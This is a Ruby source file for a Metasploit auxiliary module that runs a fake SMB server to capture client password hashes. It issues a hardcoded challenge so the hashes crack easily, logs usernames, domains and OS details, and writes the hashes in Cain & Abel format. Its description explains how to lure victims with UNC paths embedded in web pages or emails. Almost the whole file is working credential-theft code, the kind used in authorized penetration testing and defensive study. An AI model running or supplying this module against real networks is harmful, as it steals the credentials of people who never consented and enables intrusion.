##
# $Id: smb.rb 10448 2010-09-23 21:17:41Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Auxiliary::Report
	include Msf::Exploit::Remote::SMBServer

	def initialize
		super(
			'Name'        => 'Authentication Capture: SMB',
			'Version'     => '$Revision: 10448 $',
			'Description'    => %q{
				This module provides a SMB service that can be used to
			capture the challenge-response password hashes of SMB client
			systems. All responses sent by this service have the same
			hardcoded challenge string (\x11\x22\x33\x44\x55\x66\x77\x88),
			allowing for easy cracking using Cain & Abel or L0phtcrack.

			To exploit this, the target system must try to authenticate
			to this module. The easiest way to force a SMB authentication attempt
			is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or
			email message. When the victim views the web page or email, their
			system will automatically connect to the server specified in the UNC
			share (the IP address of the system running this module) and attempt
			to authenticate.
			},
			'Author'      => 'hdm',
			'License'     => MSF_LICENSE,
			'Actions'     =>
				[
					[ 'Sniffer' ]
				],
			'PassiveActions' =>
				[
					'Sniffer'
				],
			'DefaultAction'  => 'Sniffer'
		)

		register_options(
			[
				OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]),
				OptString.new('PWFILE',  [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
				OptString.new('CHALLENGE',  [ true, "The 8 byte challenge ", "0011223344556677" ])
			], self.class )

	end

	def run
		if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
			@challenge = [ datastore['CHALLENGE'] ].pack("H*")
		else
			print_error("CHALLENGE syntax must match 0011223344556677")
			return
		end

		exploit()
	end

	def smb_cmd_dispatch(cmd, c, buff)
		smb = @state[c]

		case cmd
		when CONST::SMB_COM_NEGOTIATE
			smb_cmd_negotiate(c, buff)

		when CONST::SMB_COM_SESSION_SETUP_ANDX
			smb_cmd_session_setup(c, buff)

		when CONST::SMB_COM_TREE_CONNECT
			print_status("Denying tree connect from #{smb[:name]}")
			pkt = CONST::SMB_BASE_PKT.make_struct
			pkt['Payload']['SMB'].v['Command'] = cmd
			pkt['Payload']['SMB'].v['Flags1']  = 0x88
			pkt['Payload']['SMB'].v['Flags2']  = 0xc001
			pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022
			c.put(pkt.to_s)

		else
			print_status("Ignoring request from #{smb[:name]} (#{cmd})")
			pkt = CONST::SMB_BASE_PKT.make_struct
			pkt['Payload']['SMB'].v['Command'] = cmd
			pkt['Payload']['SMB'].v['Flags1']  = 0x88
			pkt['Payload']['SMB'].v['Flags2']  = 0xc001
			pkt['Payload']['SMB'].v['ErrorClass'] = 0
			c.put(pkt.to_s)
		end
	end

	def smb_cmd_negotiate(c, buff)
		smb = @state[c]
		pkt = CONST::SMB_NEG_PKT.make_struct
		pkt.from_s(buff)

		# Record the remote process ID
		smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']

		# The hardcoded challenge value
		challenge = @challenge

		group    = ''
		machine  = smb[:nbsrc]

		dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
		# print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")

		dialect =
			dialects.index("NT LM 0.12") ||
			dialects.length-1

		pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
		smb_set_defaults(c, pkt)

		time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)

		pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
		pkt['Payload']['SMB'].v['Flags1'] = 0x88
		pkt['Payload']['SMB'].v['Flags2'] = 0xc001
		pkt['Payload']['SMB'].v['WordCount'] = 17
		pkt['Payload'].v['Dialect'] = dialect
		pkt['Payload'].v['SecurityMode'] = 3
		pkt['Payload'].v['MaxMPX'] = 2
		pkt['Payload'].v['MaxVCS'] = 1
		pkt['Payload'].v['MaxBuff'] = 4356
		pkt['Payload'].v['MaxRaw'] = 65536
		pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended
		pkt['Payload'].v['ServerTime'] = time_lo
		pkt['Payload'].v['ServerDate'] = time_hi
		pkt['Payload'].v['Timezone']   = 0x0


		pkt['Payload'].v['SessionKey'] = 0
		pkt['Payload'].v['KeyLength'] = 8

		pkt['Payload'].v['Payload'] =
			challenge +
			Rex::Text.to_unicode(group) + "\x00\x00" +
			Rex::Text.to_unicode(machine) + "\x00\x00"

		c.put(pkt.to_s)
	end

	def smb_cmd_session_setup(c, buff)
		smb = @state[c]
		pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
		pkt.from_s(buff)


		# Record the remote multiplex ID
		smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']

		lm_len = pkt['Payload'].v['PasswordLenLM']
		nt_len = pkt['Payload'].v['PasswordLenNT']

		lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0]
		nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]


		buff = pkt['Payload'].v['Payload']
		buff.slice!(0, lm_len + nt_len)
		names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }

		smb[:username] = names[0]
		smb[:domain]   = names[1]
		smb[:peer_os]   = names[2]
		smb[:peer_lm]   = names[3]


		# Clean up the data for loggging
		if (smb[:username] == "")
			smb[:username] = nil
		end

		if (smb[:domain] == "")
			smb[:domain] = nil
		end

		if smb[:domain]
			smb[:fullname] = "#{smb[:domain]}/#{smb[:username]}"
		else
			smb[:fullname] = smb[:username].to_s
		end

		if (lm_hash == "52d536dbcefa63b9101f9c7a9d0743882f85252cc731bb25" or lm_hash == "" or lm_hash == "00")
			lm_hash = nil
		end

		if (nt_hash == "eefabc742621a883aec4b24e0f7fbf05e17dc2880abe07cc" or nt_hash == "")
			nt_hash = nil
		end

		print_status(
			"Captured #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " +
			"LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
			"OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}"
		)

		report_auth_info(
			:host  => smb[:ip],
			:port => datastore['SRVPORT'],
			:sname => 'smb_challenge',
			:user => smb[:fullname],
			:pass => ( nt_hash ? nt_hash : "<NULL>" ) + ":" + (lm_hash ? lm_hash : "<NULL>" ),
			:type => "smb_hash",
			:proof => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}",
			:active => true
		)

		report_note(
			:host  => smb[:ip],
			:type  => "smb_peer_os",
			:data  => smb[:peer_os]
		) if (smb[:peer_os] and smb[:peer_os].strip.length > 0)

		report_note(
			:host  => smb[:ip],
			:type  => "smb_peer_lm",
			:data  => smb[:peer_lm]
		) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0)

		report_note(
			:host  => smb[:ip],
			:type  => "smb_domain",
			:data  => smb[:domain]
		) if (smb[:domain] and smb[:domain].strip.length > 0)


		if(datastore['LOGFILE'])
			fd = File.open(datastore['LOGFILE'], "ab")
			fd.puts(
				[
					smb[:nbsrc],
					smb[:ip],
					smb[:username] ? smb[:username] : "<NULL>",
					smb[:domain] ? smb[:domain] : "<NULL>",
					smb[:peer_os],
					nt_hash ? nt_hash : "<NULL>",
					lm_hash ? lm_hash : "<NULL>",
					Time.now.to_s
				].join(":").gsub(/\n/, "\\n")
			)
			fd.close
		end

		if(datastore['PWFILE'] and smb[:username] and lm_hash)
			fd = File.open(datastore['PWFILE'], "ab")
			fd.puts(
				[
					smb[:username],
					smb[:domain] ? smb[:domain] : "NULL",
					@challenge.unpack("H*")[0],
					lm_hash ? lm_hash : "0" * 32,
					nt_hash ? nt_hash : "0" * 32
				].join(":").gsub(/\n/, "\\n")
			)
			fd.close

		end

		pkt = CONST::SMB_BASE_PKT.make_struct
		smb_set_defaults(c, pkt)

		pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
		pkt['Payload']['SMB'].v['Flags1']  = 0x88
		pkt['Payload']['SMB'].v['Flags2']  = 0xc001
		pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022
		c.put(pkt.to_s)
	end


	def smb_cmd_close(c, buff)
	end

	def smb_cmd_create(c, buff)
	end

	def smb_cmd_delete(c, buff)
	end

	def smb_cmd_nttrans(c, buff)
	end

	def smb_cmd_open(c, buff)
	end

	def smb_cmd_read(c, buff)
	end

	def smb_cmd_trans(c, buff)
	end

	def smb_cmd_tree_connect(c, buff)
	end

	def smb_cmd_tree_disconnect(c, buff)
	end

	def smb_cmd_write(c, buff)
	end


end

